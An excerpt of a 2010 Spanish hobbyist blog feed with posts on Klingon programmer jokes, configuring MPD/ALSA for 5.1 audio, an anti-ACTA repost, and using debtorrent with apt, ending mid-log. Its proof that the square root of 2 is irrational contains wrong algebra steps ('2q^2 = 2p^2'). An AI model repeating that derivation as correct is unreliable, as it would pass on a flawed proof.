src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-6150614116688690028</id><published>2010-12-01T10:04:00.000-08:00</published><updated>2010-12-01T15:44:14.374-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><category scheme='http://www.blogger.com/atom/ns#' term='humor'/><title type='text'>Como detectar a un programador Klingon</title><content type='html'>&lt;ol&gt;&lt;li&gt;Un verdadero guerrero Klingon no comenta su código!&lt;/li&gt;&lt;li&gt;Reportando este bug has agraviado el honor de mi familia. ¡Prepárate a morir!&lt;/li&gt;&lt;li&gt;¿Cuestionas la robustez de mi código? ¡Debería matarte ahora mismo&lt;/li&gt;&lt;li&gt;¡Nuestros competidores no tienen honor!&lt;/li&gt;&lt;li&gt;¡Las especificaciones son para los débiles!&lt;/li&gt;&lt;li&gt;¡Esta máquina es GAGH! ¡Neceito procesadores Pentium core i7 si tengo que pelear con este código!&lt;/li&gt;&lt;li&gt;Quizás es un buen día para morir. ¡Deberíamos entregar el producto!&lt;/li&gt;&lt;li&gt;Nuestros usuarios conoceran el miedo ante nuestro software! ¡Enviemoslo! ¡Enviémoslo y dejemos que sufran como los perros que son!&lt;/li&gt;&lt;li&gt;Mi programa sólo ha realizado un volcado Stova Core&lt;/li&gt;&lt;li&gt;Más allá, el teclado de Kalis! ¡El más grande programador guerrero Klingon que nunca ha vivido!&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-6150614116688690028?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/6150614116688690028/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/12/como-detectar-un-programador-klingon.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/6150614116688690028'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/6150614116688690028'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/12/como-detectar-un-programador-klingon.html' title='Como detectar a un programador Klingon'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-6821565788209207467</id><published>2010-11-21T11:59:00.000-08:00</published><updated>2010-11-21T11:59:21.518-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mpd'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='alsa'/><title type='text'>MPD con salida 5.1</title><content type='html'>Hace unos&amp;nbsp;días&amp;nbsp;me compre unos parlantes 5.1 y un decodificador usb,toslink - 7.1 de esos chinos basados en el chip C-Media CM106, puedo escuchar ac3 y acc sin problemas en los 6 canales pero el MPD por&amp;nbsp;algún&amp;nbsp;motivo me reproduce en 2 canales.&lt;br /&gt;&lt;br /&gt;Así&amp;nbsp;que me puse a investigar y lo primero que atine fue a cambiarle la cantidad de canales en el archivo de&amp;nbsp;configuración&amp;nbsp;&lt;span class="Apple-style-span" style="color: lime;"&gt;/etc/mpd.conf&lt;/span&gt;,&amp;nbsp;tambien deje comentada la linea que viene por defecto plug:dmix y me quedo por ej:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;audio_output {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;type &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;"alsa"&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;name &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;"My ALSA Device"&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;#device &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "plug:dmix" &amp;nbsp; &amp;nbsp; # optional&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;device &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "plug:surround51"&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;format &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;"48000:16:6" &amp;nbsp; &amp;nbsp;# optional&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mixer_device &amp;nbsp; &amp;nbsp;"default" &amp;nbsp; &amp;nbsp; &amp;nbsp; # optional&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mixer_control &amp;nbsp; "PCM" &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # optional&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mixer_index &amp;nbsp; &amp;nbsp; "0" &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # optional&lt;br /&gt;}&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Reiniciamos el daemon con:&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;/etc/init.d/mpd.conf restart&lt;/span&gt;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;y nada, lo que veo en el log es lo siguiente:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div class="code"&gt;Nov 15 19:09 : pcm: conversion 2-&amp;gt;6 channels is not supported&lt;br /&gt;Nov 15 19:09 : pcm: pcm_convert_channels_16() failed&lt;br /&gt;Nov 15 19:10 : pcm: conversion 2-&amp;gt;4 channels is not supported&lt;br /&gt;Nov 15 19:10 : pcm: pcm_convert_channels_16() failed&lt;br /&gt;Nov 15 19:10 : pcm: conversion 2-&amp;gt;5 channels is not supported&lt;br /&gt;Nov 15 19:10 : pcm: pcm_convert_channels_16() failed&lt;br /&gt;Nov 17 22:28 : pcm: conversion 2-&amp;gt;6 channels is not supported&lt;br /&gt;Nov 17 22:28 : pcm: pcm_convert_channels_16() failed&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Investigue y el problema esta en que la cantidad de canales que soporta MPD esta hardcodeada en 2.&lt;/div&gt;&lt;div&gt;Luego investigue un poco mas y me encuentro con que la&amp;nbsp;solución&amp;nbsp;esta en la&amp;nbsp;política&amp;nbsp;de ruteo de los canales,&amp;nbsp;así&amp;nbsp;que creo un dispositivo pcm virtual nuevo que cumple con esta&amp;nbsp;política&amp;nbsp;y que la salida es surround51&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Editamos el &lt;span class="Apple-style-span" style="color: lime;"&gt;/etc/asound.conf&lt;/span&gt;:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="code"&gt;pcm.duplicate {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;type plug&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;slave.pcm "surround51"&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;slave.channels 6&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;route_policy duplicate&lt;br /&gt;}&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Reconfiguramos el mpd:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="code"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;audio_output {&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;type &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;"alsa"&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;name &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;"My ALSA Device"&amp;gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;device &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;"duplicate"&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;format &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;"48000:16:2" &amp;nbsp; &amp;nbsp;# optional&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mixer_device &amp;nbsp; &amp;nbsp;"default" &amp;nbsp; &amp;nbsp; &amp;nbsp; # optional&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mixer_control &amp;nbsp; "PCM" &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # optional&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mixer_index &amp;nbsp; &amp;nbsp; "0" &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # optional&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;}&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;Reiniciamos alsa y el mpd&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#/&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;etc/init.d/alsa-utils &amp;amp;&amp;amp; /etc/init.d/mpd restart&lt;/span&gt;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Y voila sonido por los 6 parlantes pero en stereo!!!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-6821565788209207467?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/6821565788209207467/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/11/mpd-con-salida-51.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/6821565788209207467'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/6821565788209207467'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/11/mpd-con-salida-51.html' title='MPD con salida 5.1'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-988212927429396059</id><published>2010-10-21T21:17:00.000-07:00</published><updated>2010-10-21T21:28:47.696-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><category scheme='http://www.blogger.com/atom/ns#' term='fing'/><category scheme='http://www.blogger.com/atom/ns#' term='matematicas'/><title type='text'>Algo que aprendi en la fing...</title><content type='html'>Y creo que hasta ahora lo único...&lt;br /&gt;Con esto me tope el primer dia de clase en la &lt;a href="http://www.fing.edu.uy/"&gt;fing&lt;/a&gt;...Porque la raíz de dos es &lt;a href="http://es.wikipedia.org/wiki/N%C3%BAmero_irracional"&gt;irracional&lt;/a&gt;?&lt;br /&gt;&lt;br /&gt;Demostración por absurdo algo que me costo mucho entender a pesar de ser tan simple:&lt;br /&gt;&lt;br /&gt;Suponemos que la raíz cuadrada de 2 no es irracional por lo tanto se puede expresar de la forma de una fracción:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sqrt(2)=p/q&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Donde p y q son dos números que no tienen factores comunes o sea una fracción irreducible o sea su máximo común divisor es el 1.&lt;br /&gt;&lt;br /&gt;Entonces si elevamos todo al cuadrado me queda que:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;2=p^2/q^2 =&amp;gt; 2q^2 = 2p^2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Y hacemo mas cuentitas:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;2q^2 = 2k^2 =&amp;gt; q^2 = 2k^2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;De aquí podemos extraer a que: &lt;span class="Apple-style-span" style="color: lime;"&gt;q=2k&lt;/span&gt; y como &lt;span class="Apple-style-span" style="color: lime;"&gt;2q^2 = 2p^2 =&amp;gt; p=2k&lt;/span&gt;, entonces p y q tienen factores en común al menos sabemos que el 2 y eso es absurdo porque supusimos desde un principio que p y q no tienen factores en común...&lt;br /&gt;&lt;br /&gt;Grrrr panic ñññññññññññññññññ brain overheat......&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-988212927429396059?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/988212927429396059/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/10/algo-que-aprendi-en-la-fing.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/988212927429396059'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/988212927429396059'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/10/algo-que-aprendi-en-la-fing.html' title='Algo que aprendi en la fing...'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-6388295640512846112</id><published>2010-10-18T15:20:00.000-07:00</published><updated>2010-10-18T15:20:02.560-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><category scheme='http://www.blogger.com/atom/ns#' term='internet'/><title type='text'>No al ACTA</title><content type='html'>Reposteo: lo&amp;nbsp;encontré&amp;nbsp;en el blog de &lt;a href="http://www.elgallego.info/?p=307"&gt;Enrique Verdes&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/__2CpOkNZ4-k/TLzHzt8DgNI/AAAAAAAAAUo/O6059q98WII/s1600/acta-no.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="360" src="http://2.bp.blogspot.com/__2CpOkNZ4-k/TLzHzt8DgNI/AAAAAAAAAUo/O6059q98WII/s400/acta-no.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-6388295640512846112?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/6388295640512846112/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/10/no-al-acta.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/6388295640512846112'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/6388295640512846112'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/10/no-al-acta.html' title='No al ACTA'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/__2CpOkNZ4-k/TLzHzt8DgNI/AAAAAAAAAUo/O6059q98WII/s72-c/acta-no.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-3918414330062003507</id><published>2010-10-05T18:46:00.000-07:00</published><updated>2010-10-05T18:46:55.742-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mit'/><category scheme='http://www.blogger.com/atom/ns#' term='debian'/><category scheme='http://www.blogger.com/atom/ns#' term='torrent'/><title type='text'>Apt-get con torrent</title><content type='html'>Sabias que se pueden bajar los paquetes deb con apt mediante torrent? si esto gracias a un paquete que se llama &lt;a href="http://debtorrent.alioth.debian.org/"&gt;debtorrent&lt;/a&gt; que es open source y liberado bajo los terminos de la licencia &lt;a href="http://www.opensource.org/licenses/mit-license.php"&gt;MIT&lt;/a&gt;.&lt;br /&gt;Esto trae sus ventajas en cuanto al la carga que se aplica a &amp;nbsp;los&amp;nbsp;servidores&amp;nbsp;de repositorios como los de debian y los de ubuntu ya quenos permite descentralizar la carga de trafico y hacer una&amp;nbsp;distribución&amp;nbsp;mas inteligente de esta.&lt;br /&gt;&lt;br /&gt;Para instalarlo:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#apt-get install debtorrent&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego editamos &lt;span class="Apple-style-span" style="color: lime;"&gt;/etc/apt/sources.list&lt;/span&gt; y agregamos nuestros repositorios a travez de torrennt (en mi caso uso sid y experimental)&lt;br /&gt;donde host_server es el host donde instalamos el paquete el cual puede ser localhost si lo instalamos local, yo en mi caso lo instale en un servidor que uso como proxy.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;deb debtorrent://host_server:9988/ftp.us.debian.org/debian sid main contrib non-free&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;deb debtorrent://host_server:9988/ftp.us.debian.org/debian experimental main contrib non-free&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para comprobar el funcionamiento podemos actualizar los paquetes y luego ir al log&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#apt-get update&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;Obj debtorrent://192.168.10.1/ftp.us.debian.org/debian/ sid/main Translation-es                                                                                                          &lt;br /&gt;Obj http://ftp.us.debian.org experimental/main i386 Packages/DiffIndex                                                                                                                   &lt;br /&gt;Obj http://ftp.us.debian.org experimental/contrib i386 Packages/DiffIndex                                                                                                                &lt;br /&gt;Obj debtorrent://192.168.10.1 experimental Release.gpg                                                                                                                                   &lt;br /&gt;Ign debtorrent://192.168.10.1/ftp.us.debian.org/debian/ sid/contrib Translation-en&lt;br /&gt;Ign debtorrent://192.168.10.1/ftp.us.debian.org/debian/ sid/contrib Translation-es&lt;br /&gt;Obj debtorrent://192.168.10.1 sid Release&lt;br /&gt;Ign debtorrent://192.168.10.1/ftp.us.debian.org/debian/ sid/main Translation-en&lt;br /&gt;Obj debtorrent://192.168.10.1 experimental Release&lt;br /&gt;Ign debtorrent://192.168.10.1/ftp.us.debian.org/debian/ sid/non-free Translation-en&lt;br /&gt;Ign debtorrent://192.168.10.1 sid/main i386 Packages/DiffIndex&lt;br /&gt;Ign debtorrent://192.168.10.1 sid/contrib i386 Packages/DiffIndex&lt;br /&gt;Ign debtorrent://192.168.10.1 sid/non-free i386 Packages/DiffIndex&lt;br /&gt;Obj debtorrent://192.168.10.1 sid/main i386 Packages&lt;br /&gt;Ign debtorrent://192.168.10.1/ftp.us.debian.org/debian/ sid/non-free Translation-es&lt;br /&gt;Obj debtorrent://192.168.10.1 sid/contrib i386 Packages&lt;br /&gt;Obj debtorrent://192.168.10.1 sid/non-free i386 Packages&lt;br /&gt;Ign debtorrent://192.168.10.1 experimental/main i386 Packages/DiffIndex&lt;br /&gt;Ign debtorrent://192.168.10.1 experimental/contrib i386 Packages/DiffIndex&lt;br /&gt;Ign debtorrent://192.168.10.1/ftp.us.debian.org/debian/ experimental/contrib Translation-en&lt;br /&gt;Ign debtorrent://192.168.10.1 experimental/non-free i386 Packages/DiffIndex&lt;br /&gt;Obj debtorrent://192.168.10.1 experimental/main i386 Packages&lt;br /&gt;Obj debtorrent://192.168.10.1 experimental/contrib i386 Packages&lt;br /&gt;Ign debtorrent://192.168.10.1/ftp.us.debian.org/debian/ experimental/contrib Translation-es&lt;br /&gt;Obj debtorrent://192.168.10.1 experimental/non-free i386 Packages&lt;br /&gt;Ign debtorrent://192.168.10.1/ftp.us.debian.org/debian/ experimental/main Translation-en&lt;br /&gt;Ign debtorrent://192.168.10.1/ftp.us.debian.org/debian/ experimental/main Translation-es&lt;br /&gt;Ign debtorrent://192.168.10.1/ftp.us.debian.org/debian/ experimental/non-free Translation-en&lt;br /&gt;Ign debtorrent://192.168.10.1/ftp.us.debian.org/debian/ experimental/non-free Translation-es&lt;br /&gt;Descargados 2664B en 4min 27s (10B/s)&lt;/div&gt;&lt;br /&gt;Como podemos ver claramente algunos indices se están descargando mediante el proxy torrent.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#tail -f /var/log/debtorrent/*&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;wintermute:/home/daedalus# tail -f /var/log/debtorrent/*&lt;br /&gt;==&amp;gt; /var/log/debtorrent/apt-access.log &amp;lt;== 192.168.10.166 - - [05/Oct/2010:23:31:09] "GET /ftp.us.debian.org/debian/dists/sid/main/binary-i386/Packages.bz2 DEBTORRENT/0.2" 304 0 "-" "Debian APT-DEBTORRENT/0.2 (0.2)" 192.168.10.166 - - [05/Oct/2010:23:31:09] "GET /ftp.us.debian.org/debian/dists/sid/non-free/i18n/Translation-es.bz2 DEBTORRENT/0.2" 404 329 "-" "Debian APT-DEBTORRENT/0.2 (0.2)" 192.168.10.166 - - [05/Oct/2010:23:31:59] "GET /ftp.us.debian.org/debian/dists/sid/contrib/binary-i386/Packages.bz2 DEBTORRENT/0.2" 304 0 "-" "Debian APT-DEBTORRENT/0.2 (0.2)" 192.168.10.166 - - [05/Oct/2010:23:32:33] "GET /ftp.us.debian.org/debian/dists/sid/non-free/binary-i386/Packages.bz2 DEBTORRENT/0.2" 304 0 "-" "Debian APT-DEBTORRENT/0.2 (0.2)" 192.168.10.166 - - [05/Oct/2010:23:32:33] "GET /ftp.us.debian.org/debian/dists/experimental/main/binary-i386/Packages.diff/Index DEBTORRENT/0.2" 404 65 "-" "Debian APT-DEBTORRENT/0.2 (0.2)" 192.168.10.166 - - [05/Oct/2010:23:32:55] "GET /ftp.us.debian.org/debian/dists/sid/Release.gpg DEBTORRENT/0.2" 304 0 "-" "Debian APT-DEBTORRENT/0.2 (0.2)" 192.168.10.166 - - [05/Oct/2010:23:33:01] "GET /ftp.us.debian.org/debian/dists/sid/main/i18n/Translation-es.bz2 DEBTORRENT/0.2" 304 0 "-" "Debian APT-DEBTORRENT/0.2 (0.2)" 192.168.10.166 - - [05/Oct/2010:23:33:10] "GET /ftp.us.debian.org/debian/dists/experimental/Release.gpg DEBTORRENT/0.2" 304 0 "-" "Debian APT-DEBTORRENT/0.2 (0.2)" 192.168.10.166 - - [05/Oct/2010:23:33:10] "GET /ftp.us.debian.org/debian/dists/sid/contrib/i18n/Translation-en.bz2 DEBTORRENT/0.2" 404 328 "-" "Debian APT-DEBTORRENT/0.2 (0.2)" 192.168.10.166 - - [05/Oct/2010:23:33:17] "GET /ftp.us.debian.org/debian/dists/sid/contrib/i18n/Translation-es.bz2 DEBTORRENT/0.2" 404 328 "-" "Debian APT-DEBTORRENT/0.2 (0.2)"  ==&amp;gt; /var/log/debtorrent/debtorrent-client.log &amp;lt;== 2010-10-05 23:33:10,756 MainThread DebTorrent.HTTPCache INFO cache miss: /var/cache/debtorrent/ftp.us.debian.org/debian/dists/experimental/main/i18n/Translation-en.bz2 2010-10-05 23:33:10,757 MainThread DebTorrent.HTTPHandler INFO 12: DEBTORRENT GET /ftp.us.debian.org/debian/dists/experimental/main/i18n/Translation-es.bz2 DEBTORRENT/0.2 2010-10-05 23:33:10,762 MainThread DebTorrent.HTTPCache INFO cache miss: /var/cache/debtorrent/ftp.us.debian.org/debian/dists/experimental/main/i18n/Translation-es.bz2 2010-10-05 23:33:10,763 MainThread DebTorrent.HTTPHandler INFO 13: DEBTORRENT GET /ftp.us.debian.org/debian/dists/experimental/non-free/i18n/Translation-en.bz2 DEBTORRENT/0.2 2010-10-05 23:33:10,765 MainThread DebTorrent.HTTPCache INFO cache miss: /var/cache/debtorrent/ftp.us.debian.org/debian/dists/experimental/non-free/i18n/Translation-en.bz2 2010-10-05 23:33:10,770 MainThread DebTorrent.HTTPHandler INFO 14: DEBTORRENT GET /ftp.us.debian.org/debian/dists/experimental/non-free/i18n/Translation-es.bz2 DEBTORRENT/0.2 2010-10-05 23:33:10,772 MainThread DebTorrent.HTTPCache INFO cache miss: /var/cache/debtorrent/ftp.us.debian.org/debian/dists/experimental/non-free/i18n/Translation-es.bz2 2010-10-05 23:33:17,219 MainThread DebTorrent.HTTPCache INFO download completed for: http://ftp.us.debian.org/debian/dists/sid/contrib/i18n/Translation-es.bz2 2010-10-05 23:33:17,220 MainThread DebTorrent.HTTPHandler INFO sending response: DEBTORRENT 404 Not Found (328 bytes){'content-type': 'text/html; charset=iso-8859-1', 'Server': 'DebTorrent/T-0.1.9'} 2010-10-05 23:33:17,227 MainThread DebTorrent.HTTPHandler INFO 15: DEBTORRENT GET /ftp.us.debian.org/debian/dists/sid/Release DEBTORRENT/0.2 2010-10-05 23:33:23,222 MainThread DebTorrent.HTTPCache INFO cache up to date and so is request: /var/cache/debtorrent/ftp.us.debian.org/debian/dists/sid/Release  ==&amp;gt; /var/log/debtorrent/apt-access.log &amp;lt;== 192.168.10.166 - - [05/Oct/2010:23:33:24] "GET /ftp.us.debian.org/debian/dists/sid/Release DEBTORRENT/0.2" 304 0 "-" "Debian APT-DEBTORRENT/0.2 (0.2)"  ==&amp;gt; /var/log/debtorrent/debtorrent-client.log &amp;lt;== 2010-10-05 23:33:24,102 MainThread DebTorrent.HTTPHandler INFO sending response: DEBTORRENT 304 Not Modified (0 bytes){'Pragma': 'no-cache', 'Server': 'DebTorrent/T-0.1.9'} 2010-10-05 23:33:24,119 MainThread DebTorrent.HTTPCache INFO download completed for: http://ftp.us.debian.org/debian/dists/sid/main/i18n/Translation-en.bz2 2010-10-05 23:33:24,120 MainThread DebTorrent.HTTPHandler INFO sending response: DEBTORRENT 404 Not Found (325 bytes){'content-type': 'text/html; charset=iso-8859-1', 'Server': 'DebTorrent/T-0.1.9'} 2010-10-05 23:33:24,127 MainThread DebTorrent.HTTPHandler INFO 16: DEBTORRENT GET /ftp.us.debian.org/debian/dists/experimental/Release DEBTORRENT/0.2 2010-10-05 23:33:31,402 MainThread 